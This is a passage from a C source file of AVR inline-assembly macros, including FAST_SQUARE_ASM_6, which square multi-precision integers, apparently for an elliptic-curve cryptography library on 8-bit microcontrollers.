14402 "mul r15, r21 \n\t" \
14403 "mov r23, r0 \n\t" \
14404 "mov r24, r1 \n\t" \
14405 "mul r16, r20 \n\t" \
14406 "add r23, r0 \n\t" \
14407 "adc r24, r1 \n\t" \
14408 "adc r22, r27 \n\t" \
14409 "mul r17, r19 \n\t" \
14410 "add r23, r0 \n\t" \
14411 "adc r24, r1 \n\t" \
14412 "adc r22, r27 \n\t" \
14413 "lsl r23 \n\t" \
14414 "rol r24 \n\t" \
14415 "rol r22 \n\t" \
14416 "mul r18, r18 \n\t" \
14417 "add r23, r0 \n\t" \
14418 "adc r24, r1 \n\t" \
14419 "adc r22, r27 \n\t" \
14420 "add r23, r25 \n\t" \
14421 "adc r24, r26 \n\t" \
14422 "adc r22, r27 \n\t" \
14423 "st z+, r23 \n\t" \
14424 \
14425 "ldi r26, 0 \n\t" \
14426 "mul r16, r21 \n\t" \
14427 "mov r23, r0 \n\t" \
14428 "mov r25, r1 \n\t" \
14429 "mul r17, r20 \n\t" \
14430 "add r23, r0 \n\t" \
14431 "adc r25, r1 \n\t" \
14432 "adc r26, r27 \n\t" \
14433 "mul r18, r19 \n\t" \
14434 "add r23, r0 \n\t" \
14435 "adc r25, r1 \n\t" \
14436 "adc r26, r27 \n\t" \
14437 "lsl r23 \n\t" \
14438 "rol r25 \n\t" \
14439 "rol r26 \n\t" \
14440 "add r23, r24 \n\t" \
14441 "adc r25, r22 \n\t" \
14442 "adc r26, r27 \n\t" \
14443 "st z+, r23 \n\t" \
14444 \
14445 "ldi r22, 0 \n\t" \
14446 "mul r17, r21 \n\t" \
14447 "mov r23, r0 \n\t" \
14448 "mov r24, r1 \n\t" \
14449 "mul r18, r20 \n\t" \
14450 "add r23, r0 \n\t" \
14451 "adc r24, r1 \n\t" \
14452 "adc r22, r27 \n\t" \
14453 "lsl r23 \n\t" \
14454 "rol r24 \n\t" \
14455 "rol r22 \n\t" \
14456 "mul r19, r19 \n\t" \
14457 "add r23, r0 \n\t" \
14458 "adc r24, r1 \n\t" \
14459 "adc r22, r27 \n\t" \
14460 "add r23, r25 \n\t" \
14461 "adc r24, r26 \n\t" \
14462 "adc r22, r27 \n\t" \
14463 "st z+, r23 \n\t" \
14464 \
14465 "ldi r26, 0 \n\t" \
14466 "mul r18, r21 \n\t" \
14467 "mov r23, r0 \n\t" \
14468 "mov r25, r1 \n\t" \
14469 "mul r19, r20 \n\t" \
14470 "add r23, r0 \n\t" \
14471 "adc r25, r1 \n\t" \
14472 "adc r26, r27 \n\t" \
14473 "lsl r23 \n\t" \
14474 "rol r25 \n\t" \
14475 "rol r26 \n\t" \
14476 "add r23, r24 \n\t" \
14477 "adc r25, r22 \n\t" \
14478 "adc r26, r27 \n\t" \
14479 "st z+, r23 \n\t" \
14480 \
14481 "ldi r23, 0 \n\t" \
14482 "mul r19, r21 \n\t" \
14483 "lsl r0 \n\t" \
14484 "rol r1 \n\t" \
14485 "adc r23, r27 \n\t" \
14486 "add r25, r0 \n\t" \
14487 "adc r26, r1 \n\t" \
14488 "adc r23, r27 \n\t" \
14489 "mul r20, r20 \n\t" \
14490 "add r25, r0 \n\t" \
14491 "adc r26, r1 \n\t" \
14492 "adc r23, r27 \n\t" \
14493 "st z+, r25 \n\t" \
14494 \
14495 "ldi r25, 0 \n\t" \
14496 "mul r20, r21 \n\t" \
14497 "lsl r0 \n\t" \
14498 "rol r1 \n\t" \
14499 "adc r25, r27 \n\t" \
14500 "add r26, r0 \n\t" \
14501 "adc r23, r1 \n\t" \
14502 "adc r25, r27 \n\t" \
14503 "st z+, r26 \n\t" \
14504 \
14505 "mul r21, r21 \n\t" \
14506 "add r23, r0 \n\t" \
14507 "adc r25, r1 \n\t" \
14508 "st z+, r23 \n\t" \
14509 "st z+, r25 \n\t" \
14510 "eor r1, r1 \n\t"
14511
14512 #define FAST_SQUARE_ASM_6 \
14513 "ldi r25, 0 \n\t" \
14514 "movw r28, r26 \n\t" \
14515 "ld r2, x+ \n\t" \
14516 "ld r3, x+ \n\t" \
14517 "adiw r28, 20 \n\t" \
14518 "ld r12, y+ \n\t" \
14519 "ld r13, y+ \n\t" \
14520 "adiw r30, 20 \n\t" \
14521 \
14522 "ldi r23, 0 \n\t" \
14523 "mul 2, 12 \n\t" \
14524 "st z+, r0 \n\t" \
14525 "mov r22, r1 \n\t" \
14526 \
14527 "ldi r24, 0 \n\t" \
14528 "mul r2, r13 \n\t" \
14529 "add r22, r0 \n\t" \
14530 "adc r23, r1 \n\t" \
14531 "adc r24, r25 \n\t" \
14532 "st z+, r22 \n\t" \
14533 \
14534 "ld r12, y+ \n\t" \
14535 "ldi r22, 0 \n\t" \
14536 "mul r2, r12 \n\t" \
14537 "add r23, r0 \n\t" \
14538 "adc r24, r1 \n\t" \
14539 "adc r22, r25 \n\t" \
14540 "mul r3, r13 \n\t" \
14541 "add r23, r0 \n\t" \
14542 "adc r24, r1 \n\t" \
14543 "adc r22, r25 \n\t" \
14544 "st z+, r23 \n\t" \
14545 \
14546 "ld r13, y+ \n\t" \
14547 "ldi r23, 0 \n\t" \
14548 "mul r2, r13 \n\t" \
14549 "add r24, r0 \n\t" \
14550 "adc r22, r1 \n\t" \
14551 "adc r23, r25 \n\t" \
14552 "mul r3, r12 \n\t" \
14553 "add r24, r0 \n\t" \
14554 "adc r22, r1 \n\t" \
14555 "adc r23, r25 \n\t" \
14556 "st z+, r24 \n\t" \
14557 \
14558 "ld r2, x+ \n\t" \
14559 "ldi r24, 0 \n\t" \
14560 "mul r3, r13 \n\t" \
14561 "add r22, r0 \n\t" \
14562 "adc r23, r1 \n\t" \
14563 "adc r24, r25 \n\t" \
14564 "mul r2, r12 \n\t" \
14565 "add r22, r0 \n\t" \
14566 "adc r23, r1 \n\t" \
14567 "adc r24, r25 \n\t" \
14568 "st z+, r22 \n\t" \
14569 \
14570 "ld r3, x+ \n\t" \
14571 "ldi r22, 0 \n\t" \
14572 "mul r2, r13 \n\t" \
14573 "add r23, r0 \n\t" \
14574 "adc r24, r1 \n\t" \
14575 "adc r22, r25 \n\t" \
14576 "st z+, r23 \n\t" \
14577 \
14578 "mul r3, r13 \n\t" \
14579 "add r24, r0 \n\t" \
14580 "adc r22, r1 \n\t" \
14581 "st z+, r24 \n\t" \
14582 "st z+, r22 \n\t" \
14583 \
14584 "sbiw r26, 4 \n\t" \
14585 "sbiw r30, 28 \n\t" \
14586 "ld r2, x+ \n\t" \
14587 "ld r3, x+ \n\t" \
14588 "ld r4, x+ \n\t" \
14589 "ld r5, x+ \n\t" \
14590 "ld r6, x+ \n\t" \
14591 "ld r7, x+ \n\t" \
14592 "ld r8, x+ \n\t" \
14593 "ld r9, x+ \n\t" \
14594 "ld r10, x+ \n\t" \
14595 "ld r11, x+ \n\t" \
14596 "ld r12, x+ \n\t" \
14597 "ld r13, x+ \n\t" \
14598 "ld r14, x+ \n\t" \
14599 "ld r15, x+ \n\t" \
14600 "ld r16, x+ \n\t" \
14601 "ld r17, x+ \n\t" \
14602 "ld r18, x+ \n\t" \
14603 "ld r19, x+ \n\t" \
14604 "ld r20, x+ \n\t" \
14605 "ld r21, x+ \n\t" \
14606 \
14607 "ldi r23, 0 \n\t" \
14608 "mul r2, r2 \n\t" \
14609 "st z+, r0 \n\t" \
14610 "mov r22, r1 \n\t" \
14611 \
14612 "ldi r24, 0 \n\t" \
14613 "mul r2, r3 \n\t" \
14614 "add r22, r0 \n\t" \
14615 "adc r23, r1 \n\t" \
14616 "adc r24, r25 \n\t" \
14617 "add r22, r0 \n\t" \
14618 "adc r23, r1 \n\t" \
14619 "adc r24, r25 \n\t" \
14620 "st z+, r22 \n\t" \
14621 \
14622 "ldi r22, 0 \n\t" \
14623 "mul r2, r4 \n\t" \
14624 "add r23, r0 \n\t" \
14625 "adc r24, r1 \n\t" \
14626 "adc r22, r25 \n\t" \
14627 "add r23, r0 \n\t" \
14628 "adc r24, r1 \n\t" \
14629 "adc r22, r25 \n\t" \
14630 "mul r3, r3 \n\t" \
14631 "add r23, r0 \n\t" \
14632 "adc r24, r1 \n\t" \
14633 "adc r22, r25 \n\t" \
14634 "st z+, r23 \n\t" \
14635 \
14636 "ldi r29, 0 \n\t" \
14637 "mul r2, r5 \n\t" \
14638 "mov r23, r0 \n\t" \
14639 "mov r28, r1 \n\t" \
14640 "mul r3, r4 \n\t" \
14641 "add r23, r0 \n\t" \
14642 "adc r28, r1 \n\t" \
14643 "adc r29, r25 \n\t" \
14644 "lsl r23 \n\t" \
14645 "rol r28 \n\t" \
14646 "rol r29 \n\t" \
14647 "add r23, r24 \n\t" \
14648 "adc r28, r22 \n\t" \
14649 "adc r29, r25 \n\t" \
14650 "st z+, r23 \n\t" \
14651 \
14652 "ldi r22, 0 \n\t" \
14653 "mul r2, r6 \n\t" \
14654 "mov r23, r0 \n\t" \
14655 "mov r24, r1 \n\t" \
14656 "mul r3, r5 \n\t" \
14657 "add r23, r0 \n\t" \
14658 "adc r24, r1 \n\t" \
14659 "adc r22, r25 \n\t" \
14660 "lsl r23 \n\t" \
14661 "rol r24 \n\t" \
14662 "rol r22 \n\t" \
14663 "mul r4, r4 \n\t" \
14664 "add r23, r0 \n\t" \
14665 "adc r24, r1 \n\t" \
14666 "adc r22, r25 \n\t" \
14667 "add r23, r28 \n\t" \
14668 "adc r24, r29 \n\t" \
14669 "adc r22, r25 \n\t" \
14670 "st z+, r23 \n\t" \
14671 \
14672 "ldi r29, 0 \n\t" \
14673 "mul r2, r7 \n\t" \
14674 "mov r23, r0 \n\t" \
14675 "mov r28, r1 \n\t" \
14676 "mul r3, r6 \n\t" \
14677 "add r23, r0 \n\t" \
14678 "adc r28, r1 \n\t" \
14679 "adc r29, r25 \n\t" \
14680 "mul r4, r5 \n\t" \
14681 "add r23, r0 \n\t" \
14682 "adc r28, r1 \n\t" \
14683 "adc r29, r25 \n\t" \
14684 "lsl r23 \n\t" \
14685 "rol r28 \n\t" \
14686 "rol r29 \n\t" \
14687 "add r23, r24 \n\t" \
14688 "adc r28, r22 \n\t" \
14689 "adc r29, r25 \n\t" \
14690 "st z+, r23 \n\t" \
14691 \
14692 "ldi r22, 0 \n\t" \
14693 "mul r2, r8 \n\t" \
14694 "mov r23, r0 \n\t" \
14695 "mov r24, r1 \n\t" \
14696 "mul r3, r7 \n\t" \
14697 "add r23, r0 \n\t" \
14698 "adc r24, r1 \n\t" \
14699 "adc r22, r25 \n\t" \
14700 "mul r4, r6 \n\t" \
14701 "add r23, r0 \n\t" \
14702 "adc r24, r1 \n\t" \
14703 "adc r22, r25 \n\t" \
14704 "lsl r23 \n\t" \
14705 "rol r24 \n\t" \
14706 "rol r22 \n\t" \
14707 "mul r5, r5 \n\t" \
14708 "add r23, r0 \n\t" \
14709 "adc r24, r1 \n\t" \
14710 "adc r22, r25 \n\t" \
14711 "add r23, r28 \n\t" \
14712 "adc r24, r29 \n\t" \
14713 "adc r22, r25 \n\t" \
14714 "st z+, r23 \n\t" \
14715 \
14716 "ldi r29, 0 \n\t" \
14717 "mul r2, r9 \n\t" \
14718 "mov r23, r0 \n\t" \
14719 "mov r28, r1 \n\t" \
14720 "mul r3, r8 \n\t" \
14721 "add r23, r0 \n\t" \
14722 "adc r28, r1 \n\t" \
14723 "adc r29, r25 \n\t" \
14724 "mul r4, r7 \n\t" \
14725 "add r23, r0 \n\t" \
14726 "adc r28, r1 \n\t" \
14727 "adc r29, r25 \n\t" \
14728 "mul r5, r6 \n\t" \
14729 "add r23, r0 \n\t" \
14730 "adc r28, r1 \n\t" \
14731 "adc r29, r25 \n\t" \
14732 "lsl r23 \n\t" \
14733 "rol r28 \n\t" \
14734 "rol r29 \n\t" \
14735 "add r23, r24 \n\t" \
14736 "adc r28, r22 \n\t" \
14737 "adc r29, r25 \n\t" \
14738 "st z+, r23 \n\t" \
14739 \
14740 "ldi r22, 0 \n\t" \
14741 "mul r2, r10 \n\t" \
14742 "mov r23, r0 \n\t" \
14743 "mov r24, r1 \n\t" \
14744 "mul r3, r9 \n\t" \
14745 "add r23, r0 \n\t" \
14746 "adc r24, r1 \n\t" \
14747 "adc r22, r25 \n\t" \
14748 "mul r4, r8 \n\t" \
14749 "add r23, r0 \n\t" \
14750 "adc r24, r1 \n\t" \
14751 "adc r22, r25 \n\t" \
14752 "mul r5, r7 \n\t" \
14753 "add r23, r0 \n\t" \
14754 "adc r24, r1 \n\t" \
14755 "adc r22, r25 \n\t" \
14756 "lsl r23 \n\t" \
14757 "rol r24 \n\t" \
14758 "rol r22 \n\t" \
14759 "mul r6, r6 \n\t" \
14760 "add r23, r0 \n\t" \
14761 "adc r24, r1 \n\t" \
14762 "adc r22, r25 \n\t" \
14763 "add r23, r28 \n\t" \
14764 "adc r24, r29 \n\t" \
14765 "adc r22, r25 \n\t" \
14766 "st z+, r23 \n\t" \
14767 \
14768 "ldi r29, 0 \n\t" \
14769 "mul r2, r11 \n\t" \
14770 "mov r23, r0 \n\t" \
14771 "mov r28, r1 \n\t" \
14772 "mul r3, r10 \n\t" \
14773 "add r23, r0 \n\t" \
14774 "adc r28, r1 \n\t" \
14775 "adc r29, r25 \n\t" \
14776 "mul r4, r9 \n\t" \
14777 "add r23, r0 \n\t" \
14778 "adc r28, r1 \n\t" \
14779 "adc r29, r25 \n\t" \
14780 "mul r5, r8 \n\t" \
14781 "add r23, r0 \n\t" \
14782 "adc r28, r1 \n\t" \
14783 "adc r29, r25 \n\t" \
14784 "mul r6, r7 \n\t" \
14785 "add r23, r0 \n\t" \
14786 "adc r28, r1 \n\t" \
14787 "adc r29, r25 \n\t" \
14788 "lsl r23 \n\t" \
14789 "rol r28 \n\t" \
14790 "rol r29 \n\t" \
14791 "add r23, r24 \n\t" \
14792 "adc r28, r22 \n\t" \
14793 "adc r29, r25 \n\t" \
14794 "st z+, r23 \n\t" \
14795 \
14796 "ldi r22, 0 \n\t" \
14797 "mul r2, r12 \n\t" \
14798 "mov r23, r0 \n\t" \
14799 "mov r24, r1 \n\t" \
14800 "mul r3, r11 \n\t" \
14801 "add r23, r0 \n\t" \
14802 "adc r24, r1 \n\t" \
14803 "adc r22, r25 \n\t" \
14804 "mul r4, r10 \n\t" \
14805 "add r23, r0 \n\t" \
14806 "adc r24, r1 \n\t" \
14807 "adc r22, r25 \n\t" \
14808 "mul r5, r9 \n\t" \
14809 "add r23, r0 \n\t" \
14810 "adc r24, r1 \n\t" \
14811 "adc r22, r25 \n\t" \
14812 "mul r6, r8 \n\t" \
14813 "add r23, r0 \n\t" \
14814 "adc r24, r1 \n\t" \
14815 "adc r22, r25 \n\t" \
14816 "lsl r23 \n\t" \
14817 "rol r24 \n\t" \
14818 "rol r22 \n\t" \
14819 "mul r7, r7 \n\t" \
14820 "add r23, r0 \n\t" \
14821 "adc r24, r1 \n\t" \
14822 "adc r22, r25 \n\t" \
14823 "add r23, r28 \n\t" \
14824 "adc r24, r29 \n\t" \
14825 "adc r22, r25 \n\t" \
14826 "st z+, r23 \n\t" \
14827 \
14828 "ldi r29, 0 \n\t" \
14829 "mul r2, r13 \n\t" \
14830 "mov r23, r0 \n\t" \
14831 "mov r28, r1 \n\t" \
14832 "mul r3, r12 \n\t" \
14833 "add r23, r0 \n\t" \
14834 "adc r28, r1 \n\t" \
14835 "adc r29, r25 \n\t" \
14836 "mul r4, r11 \n\t" \
14837 "add r23, r0 \n\t" \
14838 "adc r28, r1 \n\t" \
14839 "adc r29, r25 \n\t" \
14840 "mul r5, r10 \n\t" \
14841 "add r23, r0 \n\t" \
14842 "adc r28, r1 \n\t" \
14843 "adc r29, r25 \n\t" \
14844 "mul r6, r9 \n\t" \
14845 "add r23, r0 \n\t" \
14846 "adc r28, r1 \n\t" \
14847 "adc r29, r25 \n\t" \
14848 "mul r7, r8 \n\t" \
14849 "add r23, r0 \n\t" \
14850 "adc r28, r1 \n\t" \
14851 "adc r29, r25 \n\t" \
14852 "lsl r23 \n\t" \
14853 "rol r28 \n\t" \
14854 "rol r29 \n\t" \
14855 "add r23, r24 \n\t" \
14856 "adc r28, r22 \n\t" \
14857 "adc r29, r25 \n\t" \
14858 "st z+, r23 \n\t" \
14859 \
14860 "ldi r22, 0 \n\t" \
14861 "mul r2, r14 \n\t" \
14862 "mov r23, r0 \n\t" \
14863 "mov r24, r1 \n\t" \
14864 "mul r3, r13 \n\t" \
14865 "add r23, r0 \n\t" \
14866 "adc r24, r1 \n\t" \
14867 "adc r22, r25 \n\t" \
14868 "mul r4, r12 \n\t" \
14869 "add r23, r0 \n\t" \
14870 "adc r24, r1 \n\t" \
14871 "adc r22, r25 \n\t" \
14872 "mul r5, r11 \n\t" \
14873 "add r23, r0 \n\t" \
14874 "adc r24, r1 \n\t" \
14875 "adc r22, r25 \n\t" \
14876 "mul r6, r10 \n\t" \
14877 "add r23, r0 \n\t" \
14878 "adc r24, r1 \n\t" \
14879 "adc r22, r25 \n\t" \
14880 "mul r7, r9 \n\t" \
14881 "add r23, r0 \n\t" \
14882 "adc r24, r1 \n\t" \
14883 "adc r22, r25 \n\t" \
14884 "lsl r23 \n\t" \
14885 "rol r24 \n\t" \
14886 "rol r22 \n\t" \
14887 "mul r8, r8 \n\t" \
14888 "add r23, r0 \n\t" \
14889 "adc r24, r1 \n\t" \
14890 "adc r22, r25 \n\t" \
14891 "add r23, r28 \n\t" \
14892 "adc r24, r29 \n\t" \
14893 "adc r22, r25 \n\t" \
14894 "st z+, r23 \n\t" \
14895 \
14896 "ldi r29, 0 \n\t" \
14897 "mul r2, r15 \n\t" \
14898 "mov r23, r0 \n\t" \
14899 "mov r28, r1 \n\t" \
14900 "mul r3, r14 \n\t" \
14901 "add r23, r0 \n\t" \
14902 "adc r28, r1 \n\t" \
14903 "adc r29, r25 \n\t" \
14904 "mul r4, r13 \n\t" \
14905 "add r23, r0 \n\t" \
14906 "adc r28, r1 \n\t" \
14907 "adc r29, r25 \n\t" \
14908 "mul r5, r12 \n\t" \
14909 "add r23, r0 \n\t" \
14910 "adc r28, r1 \n\t" \
14911 "adc r29, r25 \n\t" \
14912 "mul r6, r11 \n\t" \
14913 "add r23, r0 \n\t" \
14914 "adc r28, r1 \n\t" \
14915 "adc r29, r25 \n\t" \
14916 "mul r7, r10 \n\t" \
14917 "add r23, r0 \n\t" \
14918 "adc r28, r1 \n\t" \
14919 "adc r29, r25 \n\t" \
14920 "mul r8, r9 \n\t" \
14921 "add r23, r0 \n\t" \
14922 "adc r28, r1 \n\t" \
14923 "adc r29, r25 \n\t" \
14924 "lsl r23 \n\t" \
14925 "rol r28 \n\t" \
14926 "rol r29 \n\t" \
14927 "add r23, r24 \n\t" \
14928 "adc r28, r22 \n\t" \
14929 "adc r29, r25 \n\t" \
14930 "st z+, r23 \n\t" \
14931 \
14932 "ldi r22, 0 \n\t" \
14933 "mul r2, r16 \n\t" \
14934 "mov r23, r0 \n\t" \
14935 "mov r24, r1 \n\t" \
14936 "mul r3, r15 \n\t" \
14937 "add r23, r0 \n\t" \
14938 "adc r24, r1 \n\t" \
14939 "adc r22, r25 \n\t" \
14940 "mul r4, r14 \n\t" \
14941 "add r23, r0 \n\t" \
14942 "adc r24, r1 \n\t" \
14943 "adc r22, r25 \n\t" \
14944 "mul r5, r13 \n\t" \
14945 "add r23, r0 \n\t" \
14946 "adc r24, r1 \n\t" \
14947 "adc r22, r25 \n\t" \
14948 "mul r6, r12 \n\t" \
14949 "add r23, r0 \n\t" \
14950 "adc r24, r1 \n\t" \
14951 "adc r22, r25 \n\t" \
14952 "mul r7, r11 \n\t" \
14953 "add r23, r0 \n\t" \
14954 "adc r24, r1 \n\t" \
14955 "adc r22, r25 \n\t" \
14956 "mul r8, r10 \n\t" \
14957 "add r23, r0 \n\t" \
14958 "adc r24, r1 \n\t" \
14959 "adc r22, r25 \n\t" \
14960 "lsl r23 \n\t" \
14961 "rol r24 \n\t" \
14962 "rol r22 \n\t" \
14963 "mul r9, r9 \n\t" \
14964 "add r23, r0 \n\t" \
14965 "adc r24, r1 \n\t" \
14966 "adc r22, r25 \n\t" \
14967 "add r23, r28 \n\t" \
14968 "adc r24, r29 \n\t" \
14969 "adc r22, r25 \n\t" \
14970 "st z+, r23 \n\t" \
14971 \
14972 "ldi r29, 0 \n\t" \
14973 "mul r2, r17 \n\t" \
14974 "mov r23, r0 \n\t" \
14975 "mov r28, r1 \n\t" \
14976 "mul r3, r16 \n\t" \
14977 "add r23, r0 \n\t" \
14978 "adc r28, r1 \n\t" \
14979 "adc r29, r25 \n\t" \
14980 "mul r4, r15 \n\t" \
14981 "add r23, r0 \n\t" \
14982 "adc r28, r1 \n\t" \
14983 "adc r29, r25 \n\t" \
14984 "mul r5, r14 \n\t" \
14985 "add r23, r0 \n\t" \
14986 "adc r28, r1 \n\t" \
14987 "adc r29, r25 \n\t" \
14988 "mul r6, r13 \n\t" \
14989 "add r23, r0 \n\t" \
14990 "adc r28, r1 \n\t" \
14991 "adc r29, r25 \n\t" \
14992 "mul r7, r12 \n\t" \
14993 "add r23, r0 \n\t" \
14994 "adc r28, r1 \n\t" \
14995 "adc r29, r25 \n\t" \
14996 "mul r8, r11 \n\t" \
14997 "add r23, r0 \n\t" \
14998 "adc r28, r1 \n\t" \
14999 "adc r29, r25 \n\t" \
15000 "mul r9, r10 \n\t" \
15001 "add r23, r0 \n\t" \
15002 "adc r28, r1 \n\t" \
15003 "adc r29, r25 \n\t" \
15004 "lsl r23 \n\t" \
15005 "rol r28 \n\t" \
15006 "rol r29 \n\t" \
15007 "add r23, r24 \n\t" \
15008 "adc r28, r22 \n\t" \
15009 "adc r29, r25 \n\t" \
15010 "st z+, r23 \n\t" \
15011 \
15012 "ldi r22, 0 \n\t" \
15013 "mul r2, r18 \n\t" \
15014 "mov r23, r0 \n\t" \
15015 "mov r24, r1 \n\t" \
15016 "mul r3, r17 \n\t" \
15017 "add r23, r0 \n\t" \
15018 "adc r24, r1 \n\t" \
15019 "adc r22, r25 \n\t" \
15020 "mul r4, r16 \n\t" \
15021 "add r23, r0 \n\t" \
15022 "adc r24, r1 \n\t" \
15023 "adc r22, r25 \n\t" \
15024 "mul r5, r15 \n\t" \
15025 "add r23, r0 \n\t" \
15026 "adc r24, r1 \n\t" \
15027 "adc r22, r25 \n\t" \
15028 "mul r6, r14 \n\t" \
15029 "add r23, r0 \n\t" \
15030 "adc r24, r1 \n\t" \
15031 "adc r22, r25 \n\t" \
15032 "mul r7, r13 \n\t" \
15033 "add r23, r0 \n\t" \
15034 "adc r24, r1 \n\t" \
15035 "adc r22, r25 \n\t" \
15036 "mul r8, r12 \n\t" \
15037 "add r23, r0 \n\t" \
15038 "adc r24, r1 \n\t" \
15039 "adc r22, r25 \n\t" \
15040 "mul r9, r11 \n\t" \
15041 "add r23, r0 \n\t" \
15042 "adc r24, r1 \n\t" \
15043 "adc r22, r25 \n\t" \
15044 "lsl r23 \n\t" \
15045 "rol r24 \n\t" \
15046 "rol r22 \n\t" \
15047 "mul r10, r10 \n\t" \
15048 "add r23, r0 \n\t" \
15049 "adc r24, r1 \n\t" \
15050 "adc r22, r25 \n\t" \
15051 "add r23, r28 \n\t" \
15052 "adc r24, r29 \n\t" \
15053 "adc r22, r25 \n\t" \
15054 "st z+, r23 \n\t" \
15055 \
15056 "ldi r29, 0 \n\t" \
15057 "mul r2, r19 \n\t" \
15058 "mov r23, r0 \n\t" \
15059 "mov r28, r1 \n\t" \
15060 "mul r3, r18 \n\t" \
15061 "add r23, r0 \n\t" \
15062 "adc r28, r1 \n\t" \
15063 "adc r29, r25 \n\t" \
15064 "mul r4, r17 \n\t" \
15065 "add r23, r0 \n\t" \
15066 "adc r28, r1 \n\t" \
15067 "adc r29, r25 \n\t" \
15068 "mul r5, r16 \n\t" \
15069 "add r23, r0 \n\t" \
15070 "adc r28, r1 \n\t" \
15071 "adc r29, r25 \n\t" \
15072 "mul r6, r15 \n\t" \
15073 "add r23, r0 \n\t" \
15074 "adc r28, r1 \n\t" \
15075 "adc r29, r25 \n\t" \
15076 "mul r7, r14 \n\t" \
15077 "add r23, r0 \n\t" \
15078 "adc r28, r1 \n\t" \
15079 "adc r29, r25 \n\t" \
15080 "mul r8, r13 \n\t" \
15081 "add r23, r0 \n\t" \
15082 "adc r28, r1 \n\t" \
15083 "adc r29, r25 \n\t" \
15084 "mul r9, r12 \n\t" \
15085 "add r23, r0 \n\t" \
15086 "adc r28, r1 \n\t" \
15087 "adc r29, r25 \n\t" \
15088 "mul r10, r11 \n\t" \
15089 "add r23, r0 \n\t" \
15090 "adc r28, r1 \n\t" \
15091 "adc r29, r25 \n\t" \
15092 "lsl r23 \n\t" \
15093 "rol r28 \n\t" \
15094 "rol r29 \n\t" \
15095 "add r23, r24 \n\t" \
15096 "adc r28, r22 \n\t" \
15097 "adc r29, r25 \n\t" \
15098 "st z+, r23 \n\t" \
15099 \
15100 "ldi r22, 0 \n\t" \
15101 "mul r2, r20 \n\t" \
15102 "mov r23, r0 \n\t" \
15103 "mov r24, r1 \n\t" \
15104 "mul r3, r19 \n\t" \
15105 "add r23, r0 \n\t" \
15106 "adc r24, r1 \n\t" \
15107 "adc r22, r25 \n\t" \
15108 "mul r4, r18 \n\t" \
15109 "add r23, r0 \n\t" \
15110 "adc r24, r1 \n\t" \
15111 "adc r22, r25 \n\t" \
15112 "mul r5, r17 \n\t" \
15113 "add r23, r0 \n\t" \
15114 "adc r24, r1 \n\t" \
15115 "adc r22, r25 \n\t" \
15116 "mul r6, r16 \n\t" \
15117 "add r23, r0 \n\t" \
15118 "adc r24, r1 \n\t" \
15119 "adc r22, r25 \n\t" \
15120 "mul r7, r15 \n\t" \
15121 "add r23, r0 \n\t" \
15122 "adc r24, r1 \n\t" \
15123 "adc r22, r25 \n\t" \
15124 "mul r8, r14 \n\t" \
15125 "add r23, r0 \n\t" \
15126 "adc r24, r1 \n\t" \
15127 "adc r22, r25 \n\t" \
15128 "mul r9, r13 \n\t" \
15129 "add r23, r0 \n\t" \
15130 "adc r24, r1 \n\t" \
15131 "adc r22, r25 \n\t" \
15132 "mul r10, r12 \n\t" \
15133 "add r23, r0 \n\t" \
15134 "adc r24, r1 \n\t" \
15135 "adc r22, r25 \n\t" \
15136 "lsl r23 \n\t" \
15137 "rol r24 \n\t" \
15138 "rol r22 \n\t" \
15139 "mul r11, r11 \n\t" \
15140 "add r23, r0 \n\t" \
15141 "adc r24, r1 \n\t" \
15142 "adc r22, r25 \n\t" \
15143 "add r23, r28 \n\t" \
15144 "adc r24, r29 \n\t" \
15145 "adc r22, r25 \n\t" \
15146 "st z+, r23 \n\t" \
15147 \
15148 "ldi r29, 0 \n\t" \
15149 "mul r2, r21 \n\t" \
15150 "mov r23, r0 \n\t" \
15151 "mov r28, r1 \n\t" \
15152 "mul r3, r20 \n\t" \
15153 "add r23, r0 \n\t" \
15154 "adc r28, r1 \n\t" \
15155 "adc r29, r25 \n\t" \
15156 "mul r4, r19 \n\t" \
15157 "add r23, r0 \n\t" \
15158 "adc r28, r1 \n\t" \
15159 "adc r29, r25 \n\t" \
15160 "mul r5, r18 \n\t" \
15161 "add r23, r0 \n\t" \
15162 "adc r28, r1 \n\t" \
15163 "adc r29, r25 \n\t" \
15164 "mul r6, r17 \n\t" \
15165 "add r23, r0 \n\t" \
15166 "adc r28, r1 \n\t" \
15167 "adc r29, r25 \n\t" \
15168 "mul r7, r16 \n\t" \
15169 "add r23, r0 \n\t" \
15170 "adc r28, r1 \n\t" \
15171 "adc r29, r25 \n\t" \
15172 "mul r8, r15 \n\t" \
15173 "add r23, r0 \n\t" \
15174 "adc r28, r1 \n\t" \
15175 "adc r29, r25 \n\t" \
15176 "mul r9, r14 \n\t" \
15177 "add r23, r0 \n\t" \
15178 "adc r28, r1 \n\t" \
15179 "adc r29, r25 \n\t" \
15180 "mul r10, r13 \n\t" \
15181 "add r23, r0 \n\t" \
15182 "adc r28, r1 \n\t" \
15183 "adc r29, r25 \n\t" \
15184 "mul r11, r12 \n\t" \
15185 "add r23, r0 \n\t" \
15186 "adc r28, r1 \n\t" \
15187 "adc r29, r25 \n\t" \
15188 "lsl r23 \n\t" \
15189 "rol r28 \n\t" \
15190 "rol r29 \n\t" \
15191 "add r23, r24 \n\t" \
15192 "adc r28, r22 \n\t" \
15193 "adc r29, r25 \n\t" \
15194 "st z+, r23 \n\t" \
15195 \
15196 "ld r2, x+ \n\t" \
15197 "ldi r22, 0 \n\t" \
15198 "mul r3, r21 \n\t" \
15199 "mov r23, r0 \n\t" \
15200 "mov r24, r1 \n\t" \
15201 "mul r4, r20 \n\t" \
15202 "add r23, r0 \n\t" \
15203 "adc r24, r1 \n\t" \
15204 "adc r22, r25 \n\t" \
15205 "mul r5, r19 \n\t" \
15206 "add r23, r0 \n\t" \
15207 "adc r24, r1 \n\t" \
15208 "adc r22, r25 \n\t" \
15209 "mul r6, r18 \n\t" \
15210 "add r23, r0 \n\t" \
15211 "adc r24, r1 \n\t" \
15212 "adc r22, r25 \n\t" \
15213 "mul r7, r17 \n\t" \
15214 "add r23, r0 \n\t" \
15215 "adc r24, r1 \n\t" \
15216 "adc r22, r25 \n\t" \
15217 "mul r8, r16 \n\t" \
15218 "add r23, r0 \n\t" \
15219 "adc r24, r1 \n\t" \
15220 "adc r22, r25 \n\t" \
15221 "mul r9, r15 \n\t" \
15222 "add r23, r0 \n\t" \
15223 "adc r24, r1 \n\t" \
15224 "adc r22, r25 \n\t" \
15225 "mul r10, r14 \n\t" \
15226 "add r23, r0 \n\t" \
15227 "adc r24, r1 \n\t" \
15228 "adc r22, r25 \n\t" \
15229 "mul r11, r13 \n\t" \
15230 "add r23, r0 \n\t" \
15231 "adc r24, r1 \n\t" \
15232 "adc r22, r25 \n\t" \
15233 "ld r0, z \n\t" \
